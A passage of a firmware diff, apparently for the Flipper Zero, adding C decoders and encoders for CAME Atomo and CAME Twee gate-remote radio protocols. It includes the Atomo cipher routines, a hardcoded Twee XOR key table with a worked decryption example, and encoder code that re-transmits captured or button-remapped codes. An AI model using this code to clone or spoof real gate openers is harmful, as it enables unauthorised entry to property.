} else if(btn_decode == 0x4) {
|
||||
instance->btn = 0x3;
|
||||
} else if(btn_decode == 0x6) {
|
||||
instance->btn = 0x4;
|
||||
}
|
||||
|
||||
uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3];
|
||||
uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7];
|
||||
instance->data_2 = (uint64_t)hi << 32 | lo;
|
||||
|
||||
// Save original button for later use
|
||||
if(subghz_custom_btn_get_original() == 0) {
|
||||
subghz_custom_btn_set_original(instance->btn);
|
||||
}
|
||||
subghz_custom_btn_set_max(3);
|
||||
}
|
||||
|
||||
void atomo_encrypt(uint8_t* buff) {
|
||||
uint8_t tmpB = (~buff[0] + 1) & 0x7F;
|
||||
|
||||
uint8_t bitCnt = 8;
|
||||
while(bitCnt < 59) {
|
||||
if((tmpB & 0x18) && (((tmpB / 8) & 3) != 3)) {
|
||||
tmpB = ((tmpB << 1) & 0xFF) | 1;
|
||||
} else {
|
||||
tmpB = (tmpB << 1) & 0xFF;
|
||||
}
|
||||
|
||||
if(tmpB & 0x80) {
|
||||
buff[bitCnt / 8] ^= (0x80 >> (bitCnt & 7));
|
||||
}
|
||||
|
||||
bitCnt++;
|
||||
}
|
||||
|
||||
buff[0] = (buff[0] ^ 5) & 0x7F;
|
||||
}
|
||||
|
||||
void atomo_decrypt(uint8_t* buff) {
|
||||
buff[0] = (buff[0] ^ 5) & 0x7F;
|
||||
uint8_t tmpB = (-buff[0]) & 0x7F;
|
||||
|
||||
uint8_t bitCnt = 8;
|
||||
while(bitCnt < 59) {
|
||||
if((tmpB & 0x18) && (((tmpB / 8) & 3) != 3)) {
|
||||
tmpB = ((tmpB << 1) & 0xFF) | 1;
|
||||
} else {
|
||||
tmpB = (tmpB << 1) & 0xFF;
|
||||
}
|
||||
|
||||
if(tmpB & 0x80) {
|
||||
buff[bitCnt / 8] ^= (0x80 >> (bitCnt & 7));
|
||||
}
|
||||
|
||||
bitCnt++;
|
||||
}
|
||||
}
|
||||
|
||||
static uint8_t subghz_protocol_came_atomo_get_btn_code(void) {
|
||||
uint8_t custom_btn_id = subghz_custom_btn_get();
|
||||
uint8_t original_btn_code = subghz_custom_btn_get_original();
|
||||
uint8_t btn = original_btn_code;
|
||||
|
||||
// Set custom button
|
||||
if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
|
||||
// Restore original button code
|
||||
btn = original_btn_code;
|
||||
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
|
||||
switch(original_btn_code) {
|
||||
case 0x1:
|
||||
btn = 0x2;
|
||||
break;
|
||||
case 0x2:
|
||||
btn = 0x1;
|
||||
break;
|
||||
case 0x3:
|
||||
btn = 0x1;
|
||||
break;
|
||||
case 0x4:
|
||||
btn = 0x1;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
|
||||
switch(original_btn_code) {
|
||||
case 0x1:
|
||||
btn = 0x3;
|
||||
break;
|
||||
case 0x2:
|
||||
btn = 0x3;
|
||||
break;
|
||||
case 0x3:
|
||||
btn = 0x2;
|
||||
break;
|
||||
case 0x4:
|
||||
btn = 0x2;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
|
||||
switch(original_btn_code) {
|
||||
case 0x1:
|
||||
btn = 0x4;
|
||||
break;
|
||||
case 0x2:
|
||||
btn = 0x4;
|
||||
break;
|
||||
case 0x3:
|
||||
btn = 0x4;
|
||||
break;
|
||||
case 0x4:
|
||||
btn = 0x3;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return btn;
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_came_atomo_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCameAtomo* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_came_atomo_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCameAtomo* instance = context;
|
||||
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCameAtomo* instance = context;
|
||||
|
||||
SubGhzProtocolStatus status = SubGhzProtocolStatusOk;
|
||||
status = subghz_block_generic_deserialize(&instance->generic, flipper_format);
|
||||
if(status != SubGhzProtocolStatusOk) {
|
||||
FURI_LOG_E(TAG, "Deserialize error");
|
||||
return status;
|
||||
}
|
||||
if(instance->generic.data_count_bit !=
|
||||
subghz_protocol_came_atomo_const.min_count_bit_for_found) {
|
||||
FURI_LOG_E(TAG, "Wrong number of bits in key");
|
||||
return SubGhzProtocolStatusErrorValueBitCount;
|
||||
}
|
||||
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
return SubGhzProtocolStatusError;
|
||||
}
|
||||
|
||||
uint32_t tmp_counter_mode;
|
||||
if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
|
||||
came_atomo_counter_mode = (uint8_t)tmp_counter_mode;
|
||||
} else {
|
||||
came_atomo_counter_mode = 0;
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_came_atomo_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCameAtomo* instance = context;
|
||||
subghz_protocol_came_atomo_remote_controller(&instance->generic);
|
||||
uint32_t code_found_hi = instance->generic.data >> 32;
|
||||
uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
|
||||
|
||||
// push protocol data to global variable
|
||||
subghz_block_generic_global.cnt_is_available = true;
|
||||
subghz_block_generic_global.cnt_length_bit = 16;
|
||||
subghz_block_generic_global.current_cnt = instance->generic.cnt;
|
||||
|
||||
subghz_block_generic_global.btn_is_available = true;
|
||||
subghz_block_generic_global.current_btn = instance->generic.btn;
|
||||
subghz_block_generic_global.btn_length_bit = 4;
|
||||
|
||||
//
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %db\r\n"
|
||||
"Key:%08lX%08lX\r\n"
|
||||
"Sn:0x%08lX Btn:%01X\r\n"
|
||||
"Cnt:%04lX\r\n"
|
||||
"Btn_Cnt:0x%02X",
|
||||
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
code_found_hi,
|
||||
code_found_lo,
|
||||
instance->generic.serial,
|
||||
instance->generic.btn,
|
||||
instance->generic.cnt,
|
||||
instance->generic.cnt_2);
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
#pragma once
|
||||
#include "base.h"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_CAME_ATOMO_NAME "CAME Atomo"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderCameAtomo SubGhzProtocolDecoderCameAtomo;
|
||||
typedef struct SubGhzProtocolEncoderCameAtomo SubGhzProtocolEncoderCameAtomo;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_came_atomo_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_came_atomo_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_came_atomo;
|
||||
|
||||
void atomo_decrypt(uint8_t* buff);
|
||||
|
||||
void atomo_encrypt(uint8_t* buff);
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolEncoderCameAtomo.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolEncoderCameAtomo* pointer to a SubGhzProtocolEncoderCameAtomo instance
|
||||
*/
|
||||
void* subghz_protocol_encoder_came_atomo_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolEncoderCameAtomo.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance
|
||||
*/
|
||||
void subghz_protocol_encoder_came_atomo_free(void* context);
|
||||
|
||||
/**
|
||||
* Deserialize and generating an upload to send.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return true On success
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Forced transmission stop.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance
|
||||
*/
|
||||
void subghz_protocol_encoder_came_atomo_stop(void* context);
|
||||
|
||||
/**
|
||||
* Getting the level and duration of the upload to be loaded into DMA.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance
|
||||
* @return LevelDuration
|
||||
*/
|
||||
LevelDuration subghz_protocol_encoder_came_atomo_yield(void* context);
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolDecoderCameAtomo.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolDecoderCameAtomo* pointer to a SubGhzProtocolDecoderCameAtomo instance
|
||||
*/
|
||||
void* subghz_protocol_decoder_came_atomo_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolDecoderCameAtomo.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
|
||||
*/
|
||||
void subghz_protocol_decoder_came_atomo_free(void* context);
|
||||
|
||||
/**
|
||||
* Reset decoder SubGhzProtocolDecoderCameAtomo.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
|
||||
*/
|
||||
void subghz_protocol_decoder_came_atomo_reset(void* context);
|
||||
|
||||
/**
|
||||
* Parse a raw sequence of levels and durations received from the air.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
|
||||
* @param level Signal level true-high false-low
|
||||
* @param duration Duration of this level in, us
|
||||
*/
|
||||
void subghz_protocol_decoder_came_atomo_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
/**
|
||||
* Getting the hash sum of the last randomly received parcel.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
|
||||
* @return hash Hash sum
|
||||
*/
|
||||
uint8_t subghz_protocol_decoder_came_atomo_get_hash_data(void* context);
|
||||
|
||||
/**
|
||||
* Serialize data SubGhzProtocolDecoderCameAtomo.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_came_atomo_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
/**
|
||||
* Deserialize data SubGhzProtocolDecoderCameAtomo.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Getting a textual representation of the received data.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
|
||||
* @param output Resulting text
|
||||
*/
|
||||
void subghz_protocol_decoder_came_atomo_get_string(void* context, FuriString* output);
|
||||
@@ -0,0 +1,465 @@
|
||||
#include "came_twee.h"
|
||||
#include <lib/toolbox/manchester_decoder.h>
|
||||
#include <lib/toolbox/manchester_encoder.h>
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
|
||||
/*
|
||||
* Help
|
||||
* https://phreakerclub.com/forum/showthread.php?t=635&highlight=came+twin
|
||||
*
|
||||
*/
|
||||
|
||||
#define TAG "SubGhzProtocolCameTwee"
|
||||
|
||||
#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c%c"
|
||||
#define CNT_TO_DIP(dip) \
|
||||
(dip & 0x0200 ? '1' : '0'), (dip & 0x0100 ? '1' : '0'), (dip & 0x0080 ? '1' : '0'), \
|
||||
(dip & 0x0040 ? '1' : '0'), (dip & 0x0020 ? '1' : '0'), (dip & 0x0010 ? '1' : '0'), \
|
||||
(dip & 0x0008 ? '1' : '0'), (dip & 0x0004 ? '1' : '0'), (dip & 0x0002 ? '1' : '0'), \
|
||||
(dip & 0x0001 ? '1' : '0')
|
||||
|
||||
/**
|
||||
* Rainbow table Came Twee.
|
||||
*/
|
||||
static const uint32_t came_twee_magic_numbers_xor[15] = {
|
||||
0x0E0E0E00,
|
||||
0x1D1D1D11,
|
||||
0x2C2C2C22,
|
||||
0x3B3B3B33,
|
||||
0x4A4A4A44,
|
||||
0x59595955,
|
||||
0x68686866,
|
||||
0x77777777,
|
||||
0x86868688,
|
||||
0x95959599,
|
||||
0xA4A4A4AA,
|
||||
0xB3B3B3BB,
|
||||
0xC2C2C2CC,
|
||||
0xD1D1D1DD,
|
||||
0xE0E0E0EE,
|
||||
};
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_came_twee_const = {
|
||||
.te_short = 500,
|
||||
.te_long = 1000,
|
||||
.te_delta = 250,
|
||||
.min_count_bit_for_found = 54,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderCameTwee {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
ManchesterState manchester_saved_state;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderCameTwee {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
CameTweeDecoderStepReset = 0,
|
||||
CameTweeDecoderStepDecoderData,
|
||||
} CameTweeDecoderStep;
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_came_twee_decoder = {
|
||||
.alloc = subghz_protocol_decoder_came_twee_alloc,
|
||||
.free = subghz_protocol_decoder_came_twee_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_came_twee_feed,
|
||||
.reset = subghz_protocol_decoder_came_twee_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_came_twee_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_came_twee_serialize,
|
||||
.deserialize = subghz_protocol_decoder_came_twee_deserialize,
|
||||
.get_string = subghz_protocol_decoder_came_twee_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_came_twee_encoder = {
|
||||
.alloc = subghz_protocol_encoder_came_twee_alloc,
|
||||
.free = subghz_protocol_encoder_came_twee_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_came_twee_deserialize,
|
||||
.stop = subghz_protocol_encoder_came_twee_stop,
|
||||
.yield = subghz_protocol_encoder_came_twee_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_came_twee = {
|
||||
.name = SUBGHZ_PROTOCOL_CAME_TWEE_NAME,
|
||||
.type = SubGhzProtocolTypeStatic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
|
||||
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
|
||||
|
||||
.decoder = &subghz_protocol_came_twee_decoder,
|
||||
.encoder = &subghz_protocol_came_twee_encoder,
|
||||
};
|
||||
|
||||
void* subghz_protocol_encoder_came_twee_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderCameTwee* instance = malloc(sizeof(SubGhzProtocolEncoderCameTwee));
|
||||
|
||||
instance->base.protocol = &subghz_protocol_came_twee;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
instance->encoder.repeat = 3;
|
||||
instance->encoder.size_upload = 1536; // 1308
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_came_twee_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderCameTwee* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
static LevelDuration
|
||||
subghz_protocol_encoder_came_twee_add_duration_to_upload(ManchesterEncoderResult result) {
|
||||
LevelDuration data = {.duration = 0, .level = 0};
|
||||
switch(result) {
|
||||
case ManchesterEncoderResultShortLow:
|
||||
data.duration = subghz_protocol_came_twee_const.te_short;
|
||||
data.level = false;
|
||||
break;
|
||||
case ManchesterEncoderResultLongLow:
|
||||
data.duration = subghz_protocol_came_twee_const.te_long;
|
||||
data.level = false;
|
||||
break;
|
||||
case ManchesterEncoderResultLongHigh:
|
||||
data.duration = subghz_protocol_came_twee_const.te_long;
|
||||
data.level = true;
|
||||
break;
|
||||
case ManchesterEncoderResultShortHigh:
|
||||
data.duration = subghz_protocol_came_twee_const.te_short;
|
||||
data.level = true;
|
||||
break;
|
||||
|
||||
default:
|
||||
furi_crash("SubGhz: ManchesterEncoderResult is incorrect.");
|
||||
break;
|
||||
}
|
||||
return level_duration_make(data.level, data.duration);
|
||||
}
|
||||
|
||||
/**
|
||||
* Generating an upload from data.
|
||||
* @param instance Pointer to a SubGhzProtocolEncoderCameTwee instance
|
||||
*/
|
||||
static void subghz_protocol_encoder_came_twee_get_upload(SubGhzProtocolEncoderCameTwee* instance) {
|
||||
furi_assert(instance);
|
||||
size_t index = 0;
|
||||
|
||||
ManchesterEncoderState enc_state;
|
||||
manchester_encoder_reset(&enc_state);
|
||||
ManchesterEncoderResult result;
|
||||
|
||||
uint64_t temp_parcel = 0x003FFF7200000000; //parcel mask
|
||||
|
||||
for(int i = 14; i >= 0; i--) {
|
||||
temp_parcel = (temp_parcel & 0xFFFFFFFF00000000) |
|
||||
(instance->generic.serial ^ came_twee_magic_numbers_xor[i]);
|
||||
|
||||
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
|
||||
if(!manchester_encoder_advance(&enc_state, !bit_read(temp_parcel, i - 1), &result)) {
|
||||
instance->encoder.upload[index++] =
|
||||
subghz_protocol_encoder_came_twee_add_duration_to_upload(result);
|
||||
manchester_encoder_advance(&enc_state, !bit_read(temp_parcel, i - 1), &result);
|
||||
}
|
||||
instance->encoder.upload[index++] =
|
||||
subghz_protocol_encoder_came_twee_add_duration_to_upload(result);
|
||||
}
|
||||
instance->encoder.upload[index] = subghz_protocol_encoder_came_twee_add_duration_to_upload(
|
||||
manchester_encoder_finish(&enc_state));
|
||||
if(level_duration_get_level(instance->encoder.upload[index])) {
|
||||
index++;
|
||||
}
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_came_twee_const.te_long * 51);
|
||||
}
|
||||
instance->encoder.size_upload = index;
|
||||
}
|
||||
|
||||
/**
|
||||
* Analysis of received data
|
||||
* @param instance Pointer to a SubGhzBlockGeneric* instance
|
||||
*/
|
||||
static void subghz_protocol_came_twee_remote_controller(SubGhzBlockGeneric* instance) {
|
||||
/* Came Twee 54 bit, rolling code 15 parcels with
|
||||
* a decreasing counter from 0xE to 0x0
|
||||
* with originally coded dip switches on the console 10 bit code
|
||||
*
|
||||
* 0x003FFF72E04A6FEE
|
||||
* 0x003FFF72D17B5EDD
|
||||
* 0x003FFF72C2684DCC
|
||||
* 0x003FFF72B3193CBB
|
||||
* 0x003FFF72A40E2BAA
|
||||
* 0x003FFF72953F1A99
|
||||
* 0x003FFF72862C0988
|
||||
* 0x003FFF7277DDF877
|
||||
* 0x003FFF7268C2E766
|
||||
* 0x003FFF7259F3D655
|
||||
* 0x003FFF724AE0C544
|
||||
* 0x003FFF723B91B433
|
||||
* 0x003FFF722C86A322
|
||||
* 0x003FFF721DB79211
|
||||
* 0x003FFF720EA48100
|
||||
*
|
||||
* decryption
|
||||
* the last 32 bits, do XOR by the desired number, divide the result by 4,
|
||||
* convert the first 16 bits of the resulting 32-bit number to bin and do
|
||||
* bit-by-bit mirroring, adding up to 10 bits
|
||||
*
|
||||
* Example
|
||||
* Step 1. 0x003FFF721DB79211 => 0x1DB79211
|
||||
* Step 4. 0x1DB79211 xor 0x1D1D1D11 => 0x00AA8F00
|
||||
* Step 4. 0x00AA8F00 / 4 => 0x002AA3C0
|
||||
* Step 5. 0x002AA3C0 => 0x002A
|
||||
* Step 6. 0x002A bin => b101010
|
||||
* Step 7. b101010 => b0101010000
|
||||
* Step 8. b0101010000 => (Dip) Off ON Off ON Off ON Off Off Off Off
|
||||
*/
|
||||
|
||||
uint8_t cnt_parcel = (uint8_t)(instance->data & 0xF);
|
||||
uint32_t data = (uint32_t)(instance->data & 0x0FFFFFFFF);
|
||||
|
||||
data = (data ^ came_twee_magic_numbers_xor[cnt_parcel]);
|
||||
instance->serial = data;
|
||||
data /= 4;
|
||||
instance->btn = (data >> 4) & 0x0F;
|
||||
data >>= 16;
|
||||
data = (uint16_t)subghz_protocol_blocks_reverse_key(data, 16);
|
||||
instance->cnt = data >> 6;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_came_twee_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderCameTwee* instance = context;
|
||||
SubGhzProtocolStatus res = SubGhzProtocolStatusError;
|
||||
do {
|
||||
res = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_came_twee_const.min_count_bit_for_found);
|
||||
if(res != SubGhzProtocolStatusOk) {
|
||||
break;
|
||||
}
|
||||
// Optional value
|
||||
flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
|
||||
|
||||
subghz_protocol_came_twee_remote_controller(&instance->generic);
|
||||
subghz_protocol_encoder_came_twee_get_upload(instance);
|
||||
instance->encoder.front = 0; // reset position before start
|
||||
instance->encoder.is_running = true;
|
||||
} while(false);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_came_twee_stop(void* context) {
|
||||
SubGhzProtocolEncoderCameTwee* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
instance->encoder.front = 0; // reset position
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_came_twee_yield(void* context) {
|
||||
SubGhzProtocolEncoderCameTwee* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_came_twee_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderCameTwee* instance = malloc(sizeof(SubGhzProtocolDecoderCameTwee));
|
||||
instance->base.protocol = &subghz_protocol_came_twee;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_came_twee_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCameTwee* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_came_twee_reset(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCameTwee* instance = context;
|
||||
instance->decoder.parser_step = CameTweeDecoderStepReset;
|
||||
manchester_advance(
|
||||
instance->manchester_saved_state,
|
||||
ManchesterEventReset,
|
||||
&instance->manchester_saved_state,
|
||||
NULL);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_came_twee_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCameTwee* instance = context;
|
||||
ManchesterEvent event = ManchesterEventReset;
|
||||
switch(instance->decoder.parser_step) {
|
||||
case CameTweeDecoderStepReset:
|
||||
if((!level) && (DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_long * 51) <
|
||||
subghz_protocol_came_twee_const.te_delta * 20)) {
|
||||
//Found header CAME
|
||||
instance->decoder.parser_step = CameTweeDecoderStepDecoderData;
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
manchester_advance(
|
||||
instance->manchester_saved_state,
|
||||
ManchesterEventLongLow,
|
||||
&instance->manchester_saved_state,
|
||||
NULL);
|
||||
manchester_advance(
|
||||
instance->manchester_saved_state,
|
||||
ManchesterEventLongHigh,
|
||||
&instance->manchester_saved_state,
|
||||
NULL);
|
||||
manchester_advance(
|
||||
instance->manchester_saved_state,
|
||||
ManchesterEventShortLow,
|
||||
&instance->manchester_saved_state,
|
||||
NULL);
|
||||
}
|
||||
break;
|
||||
case CameTweeDecoderStepDecoderData:
|
||||
if(!level) {
|
||||
if(DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_short) <
|
||||
subghz_protocol_came_twee_const.te_delta) {
|
||||
event = ManchesterEventShortLow;
|
||||
} else if(
|
||||
DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_long) <
|
||||
subghz_protocol_came_twee_const.te_delta) {
|
||||
event = ManchesterEventLongLow;
|
||||
} else if(
|
||||
duration >= ((uint32_t)subghz_protocol_came_twee_const.te_long * 2 +
|
||||
subghz_protocol_came_twee_const.te_delta)) {
|
||||
if(instance->decoder.decode_count_bit ==
|
||||
subghz_protocol_came_twee_const.min_count_bit_for_found) {
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
manchester_advance(
|
||||
instance->manchester_saved_state,
|
||||
ManchesterEventLongLow,
|
||||
&instance->manchester_saved_state,
|
||||
NULL);
|
||||
manchester_advance(
|
||||
instance->manchester_saved_state,
|
||||
ManchesterEventLongHigh,
|
||||
&instance->manchester_saved_state,
|
||||
NULL);
|
||||
manchester_advance(
|
||||
instance->manchester_saved_state,
|
||||
ManchesterEventShortLow,
|
||||
&instance->manchester_saved_state,
|
||||
NULL);
|
||||
} else {
|
||||
instance->decoder.parser_step = CameTweeDecoderStepReset;
|
||||
}
|
||||
} else {
|
||||
if(DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_short) <
|
||||
subghz_protocol_came_twee_const.te_delta) {
|
||||
event = ManchesterEventShortHigh;
|
||||
} else if(
|
||||
DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_long) <
|
||||
subghz_protocol_came_twee_const.te_delta) {
|
||||
event = ManchesterEventLongHigh;
|
||||
} else {
|
||||
instance->decoder.parser_step = CameTweeDecoderStepReset;
|
||||
}
|
||||
}
|
||||
if(event != ManchesterEventReset) {
|
||||
bool data;
|
||||
bool data_ok = manchester_advance(
|
||||
instance->manchester_saved_state, event, &instance->manchester_saved_state, &data);
|
||||
|
||||
if(data_ok) {
|
||||
instance->decoder.decode_data = (instance->decoder.decode_data << 1) | !data;
|
||||
instance->decoder.decode_count_bit++;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_came_twee_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCameTwee* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_came_twee_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCameTwee* instance = context;
|
||||
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_came_twee_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCameTwee* instance = context;
|
||||
return subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_came_twee_const.min_count_bit_for_found);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_came_twee_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCameTwee* instance = context;
|
||||
